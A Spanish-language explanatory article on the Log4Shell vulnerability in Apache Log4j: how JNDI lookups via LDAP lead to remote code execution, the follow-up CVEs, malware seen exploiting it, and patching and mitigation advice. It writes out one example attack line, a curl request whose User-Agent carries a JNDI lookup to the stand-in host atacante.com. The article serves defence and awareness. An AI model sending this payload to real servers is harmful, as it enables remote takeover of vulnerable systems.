Log4j o Log4shell es una vulnerabilidad crítica de ejecución remota de código en la biblioteca Log4j de Apache que, desde el 9 de diciembre de 2021, ha generado gran preocupación y movilización para su remediación en las comunidades de tecnologías de la información y ciberseguridad. Su impacto es tal, que prácticamente cualquier organización con presencia o conectividad en Internet, sin importar su tamaño, sector o posición geográfica, debe prestar atención y realizar las acciones necesarias para mitigar y protegerse de este hueco de seguridad.

Log4j es una utilería de Apache basada en Java ampliamente utilizada en los programas desarrollados en la última década, ya que permite el registro de mensajes de error para una gran variedad de aplicaciones. Se emplea en millones de aplicaciones y sitios Web en todo tipo de organizaciones; sistemas industriales, servidores, impresoras, dispositivos de Internet de las Cosas (IoT), equipos locales o en la nube, entre otros.

El 26 noviembre de 2021 se hizo pública la vulnerabilidad, identificada por el investigador Chen Zhaojun del equipo de Alibaba Cloud Security, y se le asignó el CVE-2021-44228. Puede permitir a un atacante tomar el control completo de los dispositivos vulnerables. Por lo anterior, la organización MITRE la clasificó como crítica y le asignó una calificación CVSS de 10, el nivel más alto. La vulnerabilidad afecta aplicaciones, sistemas y servicios que utilicen versiones de Apache Log4j de 2.0-beta9 a 2.14.1.

La criticidad de esta vulnerabilidad radica en su facilidad de explotación y en el amplio uso que tiene la biblioteca Log4j. El código vulnerable también es utilizado en varios productos de las principales empresas de tecnologías de la información y ciberseguridad, como Amazon Web Services, Cloudflare, Oracle, Cisco, IBM, Fortinet, iCloud y Vmware, entre otras.

La empresa Minecraft fue la primera en notificar que estaba siendo explotada activamente en su plataforma de juegos y solicitó a sus usuarios actualizar a una nueva versión, para protegerse del ransomware Khonsari que estaba explotando esta vulnerabilidad en sus plataformas.

A grandes rasgos, el funcionamiento de la vulnerabilidad es el siguiente: las bibliotecas relacionadas con gestión de bitácoras, como Log4j, típicamente escriben sus mensajes en un archivo o base de datos de almacenamiento de bitácoras; pero antes de que la cadena se almacene, normalmente es procesada. Log4j permite que las bitácoras que serán registradas contengan cadenas de formato que hagan referencia a información externa mediante el JNDI (Java Naming and Directory Interface), que proporciona una API para aplicaciones Java que permite a los programadores buscar objetos remotos, usando una variedad de servicios y protocolos como LDAP, DNS, RMI, NIS, NDS y CORBA.

Por ejemplo, si Log4j encuentra la siguiente cadena dentro de una bitácora: ${jndi:ldap://negocio1.com/seguridad} le pedirá a JNDI que busque en el servidor LDAP negocio1.com el objeto «seguridad«. Por diseño, LDAP ejecutará las clases Java que sean referenciadas por el servidor LDAP; en ese ejemplo solicitaría el archivo seguridad.class y ejecutaría la respuesta.

Dado que típicamente las bitácoras contienen datos insertados por los usuarios; los atacantes pueden insertar solicitudes de JNDI en un mensaje que será procesado en las bitácoras de la aplicación para que apunten a servidores LDAP que ellos controlen y que contengan clases JAVA programadas para ejecutar las acciones maliciosas que los atacantes requieran.

De esta manera un atacante puede enviar una cadena especialmente elaborada para ser procesada por la librería Log4j; el punto de entrada puede ser un encabezado de HTTP como User-Agent que es típicamente registrado en las bitácoras. Por ejemplo, al usar JNDI con LDAP, es posible especificar una URL para obtener un objeto remoto desde un servidor LDAP controlado por un atacante y ejecutar código malicioso. La siguiente es una cadena elaborada de manera especial para explotar esta vulnerabilidad:

curl http://victima.com/ -A «${ jndi:ldap://atacante.com/ExploitPayload}».

Como dato curioso, durante las conferencias de seguridad del Black Hat en 2016, los investigadores Álvaro Muñoz y Oleksandr Mirosh presentaron esta misma técnica de inyección en JNDI, pero no fue sino hasta 2021 (por lo menos hasta donde sabemos) que se identificó su relación con la biblioteca Log4j.

Figura 1. Diagrama esquemático de la explotación de la vulnerabilidad Log4j CVE-2021-44228

 

Si bien el 6 de diciembre de 2021 Apache liberó la versión 2.15.0 para remediar el CVE-2021-44228, unos días después se descubrió una segunda vulnerabilidad crítica relacionada con el mismo componente: CVE-2021-45046, que obtuvo una calificación de CVSS de 9.0, lo que obligó al lanzamiento de la versión 2.16.0 que remediaba esta nueva vulnerabilidad.

Posteriormente se descubrieron otras dos más: CVE-2021-45105 (negación de servicios) y CVE-2021-44832 (ejecución de código si se cuenta con permisos para modificar el archivo de bitácoras), que fueron remediadas en las versiones 2.17.0 y 2.17.1, liberadas el 18 y el 28 de diciembre del 2021, respectivamente.

Actualmente las vulnerabilidades de Log4j están siendo activamente explotadas por múltiples ciberactores, lo que representa un reto para la comunidad en cuanto a aplicar las remediaciones disponibles lo más pronto posible y validar si es que esta vulnerabilidad ya ha sido explotada y sus sistemas se encuentran comprometidos.

En las últimas semanas se han reportado usos de esta vulnerabilidad para desplegar mineros de criptomonedas (como XMRig o kinsing), familias de ransomware (como Conti, Khonsari, TellYouThePass, Night Sky), troyanos (como Orcus), herramientas de comando y control (como Cobalt Strike) y botnets (como Muhstik, Tsunami o Mirai), entre otros usos maliciosos.

Los usuarios finales dependen de que los fabricantes identifiquen, mitiguen y liberen los parches de una gran variedad de productos que utilizan este software vulnerable, y a su vez los fabricantes tienen la responsabilidad de comunicar a sus clientes si sus productos son vulnerables y dar prioridad a la liberación de las correcciones respectivas. La recomendación es actualizar lo más pronto posible a la versión 2.17.1 de Log4j o aplicar las mitigaciones recomendadas por los fabricantes para los productos vulnerables.

 Una de las listas más completas de los principales productos y fabricantes que hasta el momento se han identificado vulnerables a Log4j es la siguiente:

 https://github.com/cisagov/Log4j-affected-db/blob/develop/SOFTWARE-LIST.md

Es necesario que las organizaciones identifiquen todos sus dispositivos accesibles desde Internet que utilicen la librería Log4j; se aseguren de que sus equipos de ciberseguridad activen todas las firmas de protección de los dispositivos de seguridad orientadas a detectar y bloquear intentos de explotación de las vulnerabilidades críticas de Log4j y, de ser posible, que cuenten con un WAF (Web Application Firewall) que proteja en una primera línea de defensa contra este tipo de ataques.

Algunos escáneres gratuitos para detectar el CVE-2021-44228 son los siguientes:

Además, la mayoría de las empresas de productos de escaneo de vulnerabilidades comerciales, como Tenable, cuenta ya con plugins para identificar esta vulnerabilidad crítica.

Otras recomendaciones de seguridad para mitigar esta vulnerabilidad son las siguientes:

  • Restringir las conexiones internas y externas de las aplicaciones y servidores para evitar que los servicios de Java descarguen clases maliciosas de servidores desconocidos.
  • Reducir el acceso a las interfaces de las aplicaciones, de acuerdo con las necesidades del negocio, para minimizar la superficie de ataque.
  • Rotar o cambiar periódicamente las contraseñas o llaves de las aplicaciones que puedan haber estado expuestas.

Si consideramos que Log4j a partir de la versión 2.0-beta9 ha estado disponible por nueve años, ya que fue liberada en 2013, además de su amplio uso, nos da como resultado que las consecuencias de identificar una o varias vulnerabilidades críticas en esta utilería, como las anteriormente mencionadas, abren la posibilidad de que puedan materializarse ataques de alto impacto para las organizaciones.

Es inevitable que durante los siguientes años se observen diferentes y múltiples tipos de ataques sofisticados que intenten explotar estas vulnerabilidades críticas en Log4j; si bien la reacción de la mayoría de los fabricantes ha sido muy ágil en proporcionar los parches de remediación, la labor de identificación y aplicación de los parches o las mitigaciones seguramente tardará aún varios meses o incluso años, lo que abre una ventana de exposición importante a los distintos ciberactores alrededor del mundo que buscarán capitalizarla.  

Este tipo de eventos nos refuerzan la relevancia de contar con ciclos formales de desarrollo seguro de software, así como con controles de seguridad en capas y un ciclo continuo de gestión de vulnerabilidades en todo tipo de organizaciones.

Log4j nuevamente nos abre los ojos acerca de la trascendencia de la ciberseguridad en un mundo que depende cada vez más de las tecnologías de la información para su funcionamiento, por eso tenemos que hacer grandes esfuerzos y preparativos para que “cuando el destino nos alcance” las consecuencias para la comunidad internacional no sean devastadoras.

«Cuando el destino nos alcance (Soylent Green)» es una película estadounidense de 1973, cuya trama se desarrolla en el año 2022 (vaya coincidencia), año en que la humanidad, como consecuencia del hacinamiento, la contaminación y el calentamiento global, tiene problemas para conseguir alimentos naturales y su única fuente de alimentación es un producto llamado Soylent, que era elaborado a base de carne humana. Esta película es una metáfora de las consecuencias catastróficas que se pueden presentar si como comunidad no nos preocupamos a tiempo por nuestro porvenir y tomamos las medidas apropiadas. Las vulnerabilidades críticas en Log4j son un recordatorio de que «para evitar tener que comer Soylent en un futuro”, tenemos que actuar hoy para mejorar sustancialmente la ciberseguridad de nuestro entorno.

 

[email protected]

 

Referencias: